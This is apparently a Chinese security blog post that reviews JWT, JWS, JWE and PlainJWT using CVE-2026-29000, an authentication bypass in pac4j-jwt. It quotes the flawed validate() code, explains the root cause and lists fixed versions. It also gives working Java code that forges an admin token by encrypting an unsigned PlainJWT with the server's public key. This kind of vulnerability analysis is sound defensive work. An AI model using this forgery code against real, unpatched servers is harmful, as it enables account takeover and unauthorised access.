借pac4j-jwt 认证绕过漏洞重温JWT

mapl3miss Lv2

当网站使用了 pac4j-jwt并且以jwe形式作为身份权限凭证,则可能会有身份令牌任意伪造风险

前言

2026 年 3 月,安全研究团队 CodeAnt AI 在 Java 认证库 pac4j-jwt 中发现了一个 CVSS 10.0(满分)的严重漏洞 CVE-2026-29000。攻击者仅需服务器的 RSA 公钥,即可伪造任意身份的 JWT 令牌,完全绕过认证。

在分析这个漏洞之前,先来搞清楚几个核心概念。


一、JWT 家族

1.1 JWT(JSON Web Token)

JWT 是一种紧凑的、URL 安全的令牌格式,用于在各方之间传递 JSON 格式的声明(Claims)。它是一个统称,涵盖了下面三种具体类型。

一个典型的 JWT Claims 长这样:

1
2
3
4
5
6
{
"sub": "user123",
"roles": ["ROLE_USER"],
"email": "user@example.com",
"exp": 1711987200
}

这些 Claims 描述了”这个人是谁、有什么权限、令牌何时过期”等信息,是认证决策的核心依据。

JWT 规范(RFC 7519)定义了三种令牌类型:

类型 全称 安全属性 结构
JWS JSON Web Signature 签名(完整性 + 真实性) Header.Payload.Signature
JWE JSON Web Encryption 加密(机密性) Header.EncKey.IV.Ciphertext.Tag
PlainJWT Unsecured JWT Header.Payload.(签名为空)

1.2 JWS(JSON Web Signature)—— 签名令牌

JWS 是最常见的 JWT 形式。它由三部分用 . 拼接而成:

1
{Header}.{Payload}.{Signature}
  • Header:声明签名算法(如 RS256
  • Payload:Base64Url 编码的 Claims
  • Signature:对 Header.Payload 的数字签名

JWS 特点:可读但不可篡改

类比:JWS 就像一封盖了蜡封印章的信。任何人都可以读信的内容(Payload 只是编码,不是加密),但蜡封能证明这封信确实来自声称的发件人,而且内容没有被篡改过。

1
2
签名流程:Claims ──用私钥签名──→ JWS
验签流程:JWS ──用公钥验签──→ 签名有效/无效

私钥签名,公钥验签。只有持有私钥的服务器能生成合法签名,但任何持有公钥的一方都可以验证签名是否有效。

1.3 JWE(JSON Web Encryption)—— 加密令牌

JWE 对令牌内容进行加密,由五部分用 . 拼接而成:

1
{Header}.{加密密钥}.{初始向量}.{密文}.{认证标签}
  • Header:声明密钥加密算法(如 RSA-OAEP-256)和内容加密算法(如 A256GCM
  • Encrypted Key:用接收方公钥加密的对称密钥(实际加密内容用的是这个对称密钥,即”混合加密”)
  • IV(Initialization Vector):初始化向量,配合对称加密算法使用,保证相同明文每次加密产生不同密文
  • Ciphertext:用对称密钥加密后的实际内容(即被保护的 JWS 或 Claims)
  • Authentication Tag:认证标签,用于验证密文在传输中未被篡改(由 GCM 等 AEAD 模式自动生成)

JWE 特点:不可读

类比:JWE 就像把信装进一个上锁的保险箱。只有持有钥匙的人(服务器私钥)才能打开并阅读内容,传输过程中任何第三方都无法窥探。

1
2
加密流程:内容 ──用公钥加密──→ JWE
解密流程:JWE ──用私钥解密──→ 内容

公钥加密,私钥解密。任何人都可以用公钥加密数据(公钥本就公开),但只有持有私钥的服务器能解密。

关键:加密成功 ≠ 来源可信。 因为公钥是公开的,攻击者同样可以用公钥加密一段恶意内容,服务器照样能成功解密。加密只保证”只有服务器能读”,不保证”这是服务器签发的”。

1.4 PlainJWT(Unsecured JWT)—— 无保护令牌

PlainJWT 是 JWT 规范中定义的第三种类型,也叫”不安全 JWT”。它的 Header 中算法字段为 "alg": "none"

1
2
3
{
"alg": "none"
}

结构上,它和 JWS 类似,但签名部分为空

1
{Header}.{Payload}.

PlainJWT 不提供任何安全保障。 它的设计初衷包括:

  • 已有外部安全保障时避免重复保护:例如在 TLS 加密的内部微服务通信中,签名被视为多余开销
  • 作为结构化数据载体:某些场景只需要 JWT 的标准化格式来封装非敏感数据
  • 开发调试:在测试环境中快速生成令牌,省去配置密钥的步骤

安全社区对 alg: none 一直持高度警惕态度。直接发送 PlainJWT 作为认证令牌是一种经典攻击手法(2015 年就已被广泛讨论),主流 JWT 库大多已默认拒绝此类令牌。


二、标准做法:JWE + JWS 双层保护

在 pac4j-jwt 的生产部署中,通常将 JWS 和 JWE 组合使用,实现双层保护:

生成令牌的流程:

1
2
3
4
1. 构建 Claims(身份信息)
2. 用服务器私钥签名 Claims → 生成 JWS(保证真实性)
3. 用服务器公钥加密 JWS → 生成 JWE(保证机密性)
4. 将 JWE 返回给客户端

验证令牌的流程:

1
2
3
4
1. 客户端发送 JWE 令牌
2. 服务器用私钥解密 JWE → 取出内部 JWS
3. 服务器用公钥验证 JWS 签名 → 确认令牌真实、未被篡改
4. 签名验证通过 → 信任 Claims → 完成认证

类比:先给信件盖蜡封印章(签名),再锁进保险箱(加密)。收件人先开保险箱,再验蜡封,两步都通过才信任信件内容。

两层保护缺一不可:

场景 只有加密 只有签名 两者都有
第三方能读取令牌内容? 不能 不能
攻击者能伪造令牌? 不能 不能
攻击者能篡改 Claims? 不能 不能

三、CVE-2026-29000

3.1 漏洞代码分析

问题出在 pac4j 的 JwtAuthenticator.java 中,以下是validate函数源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
public void validate(final TokenCredentials credentials, final WebContext context) {
init();
final String token = credentials.getToken();

if (context != null) {
// set the www-authenticate in case of error
context.setResponseHeader(HttpConstants.AUTHENTICATE_HEADER, "Bearer realm=\"" + realmName + "\"");
}

try {
// Parse the token
JWT jwt = JWTParser.parse(token);//根据令牌结构自动判断类型这里漏洞环境的认证类型是五段式,也就是JWE

if (jwt instanceof PlainJWT) {//对经典的两段式PlainJWT的防护,这里漏洞环境传入的是JWE,不相干,直接进入else
if (signatureConfigurations.isEmpty()) {
logger.debug("JWT is not signed and no signature configurations -> verified");
} else {
throw new CredentialsException("A non-signed JWT cannot be accepted as signature configurations have been defined");
}
} else {

SignedJWT signedJWT = null;
if (jwt instanceof SignedJWT) {//处理三段式JWS逻辑
signedJWT = (SignedJWT) jwt;
}

// encrypted?
if (jwt instanceof EncryptedJWT) {//处理JWE逻辑(关键)
logger.debug("JWT is encrypted");

final EncryptedJWT encryptedJWT = (EncryptedJWT) jwt;// 只是类型转换,不是新对象
boolean found = false;
final JWEHeader header = encryptedJWT.getHeader();
final JWEAlgorithm algorithm = header.getAlgorithm();
final EncryptionMethod method = header.getEncryptionMethod();
for (final EncryptionConfiguration config : encryptionConfigurations) {
if (config.supports(algorithm, method)) {
logger.debug("Using encryption configuration: {}", config);
try {
config.decrypt(encryptedJWT);//解密jwt
signedJWT = encryptedJWT.getPayload().toSignedJWT();//核心,toSignedJWT()返回NULL
if (signedJWT != null) {//signedJWT = NULL跳过if
jwt = signedJWT;
}
found = true;
break;
} catch (final JOSEException e) {
logger.debug("Decryption fails with encryption configuration: {}, passing to the next one", config);
}
}
}
if (!found) {
throw new CredentialsException("No encryption algorithm found for JWT: " + token);
}
}

// signed?
if (signedJWT != null) {//signedJWT = NULL跳过签名校验
logger.debug("JWT is signed");

boolean verified = false;
boolean found = false;
final JWSAlgorithm algorithm = signedJWT.getHeader().getAlgorithm();
for (final SignatureConfiguration config : signatureConfigurations) {
if (config.supports(algorithm)) {
logger.debug("Using signature configuration: {}", config);
try {
verified = config.verify(signedJWT);
found = true;
if (verified) {
break;
}
} catch (final JOSEException e) {
logger.debug("Verification fails with signature configuration: {}, passing to the next one", config);
}
}
}
if (!found) {
throw new CredentialsException("No signature algorithm found for JWT: " + token);
}
if (!verified) {
throw new CredentialsException("JWT verification failed: " + token);
}
}
}

createJwtProfile(credentials, jwt, context);//jwt直接被信任

} catch (final ParseException e) {
throw new CredentialsException("Cannot decrypt / verify JWT", e);
}
}

toSignedJWT() 是 Nimbus JOSE+JWT 库的方法:

  • 如果内部 payload 是 JWS(签名令牌)→ 返回解析后的 JWS 对象
  • 如果内部 payload 是 PlainJWT(无签名令牌)→ 返回 null

signedJWTnull 时:

  1. if (signedJWT != null) { jwt = signedJWT; } 被跳过,jwt 保持之前的值
  2. 整个签名验证块 if (signedJWT != null) { ... } 被跳过
  3. createJwtProfile() 照常执行,未经验证的 Claims 被直接信任

3.2 漏洞根因

org.pac4j.jwt.credentials.authenticator.JwtAuthenticator的validate方法在处理jwe逻辑中,jwe加密的不是jws而是PlainJWT时没有对PlainJWT攻击做拦截判断,代码层面 没有if (signedJWT == null)的处理逻辑


四、漏洞利用:五步冒充管理员

第1步:获取服务器 RSA 公钥

公钥本就是设计为公开的,通常可通过以下途径获取:

  • JWKS 端点:/.well-known/jwks.json
  • 应用文档或配置文件
  • 公开的代码仓库

第2步:构造恶意 Claims

1
2
3
4
5
6
JWTClaimsSet maliciousClaims = new JWTClaimsSet.Builder()
.subject("admin")
.claim("$int_roles", List.of("ROLE_ADMIN", "ROLE_SUPERUSER"))
.claim("email", "attacker@evil.com")
.expirationTime(new Date(System.currentTimeMillis() + 3_600_000))
.build();

第3步:创建 PlainJWT(关键)

不签名,直接用 PlainJWT 包装 Claims:

1
PlainJWT innerJwt = new PlainJWT(maliciousClaims);

这会使 Nimbus 的 toSignedJWT() 返回 null,从而触发 pac4j 中的逻辑缺陷。

第4步:用公钥加密成 JWE

1
2
3
4
5
6
7
8
JWEObject jweObject = new JWEObject(
new JWEHeader.Builder(JWEAlgorithm.RSA_OAEP_256, EncryptionMethod.A256GCM)
.contentType("JWT")
.build(),
new Payload(innerJwt.serialize())
);
jweObject.encrypt(new RSAEncrypter(publicKey));
String maliciousToken = jweObject.serialize();

从外部看,这个令牌和合法 JWE 令牌完全一样——格式正确、加密有效。

第5步:发送令牌

1
Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYi...

服务器端处理过程:

1
2
3
4
5
JWE 解密成功             (令牌用了正确的公钥加密)
toSignedJWT() = null (内部是 PlainJWT,不是 JWS)
签名验证被跳过 (if 条件为 false,整个块不执行)
createJwtProfile() (攻击者的 Claims 被直接信任)
→ 认证通过:admin / ROLE_SUPERUSER

不需要私钥,不需要共享密钥,不需要暴力破解。只需要一把公钥。


五、影响

同时满足以下所有条件的项目受影响:

  • 使用了 pac4j-jwt
  • 配置了 JWE 加密(RSAEncryptionConfiguration
  • 同时配置了签名验证(RSASignatureConfiguration
  • 通过 JwtAuthenticator 进行认证

不受影响的情况:

  • 只使用 JWS 签名,不使用 JWE 加密
  • 未使用 pac4j-jwt

受影响版本与修复

版本线 受影响版本 修复版本
4.x < 4.5.9 4.5.9+
5.x < 5.7.9 5.7.9+
6.x < 6.3.3 6.3.3+

参考链接

  • Title: 借pac4j-jwt 认证绕过漏洞重温JWT
  • Author: mapl3miss
  • Created at : 2026-03-20 19:22:34
  • Updated at : 2026-03-24 20:28:48
  • Link: https://redefine.ohevan.com/2026/03/20/借pac4j-jwt-认证绕过漏洞重温JWT/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments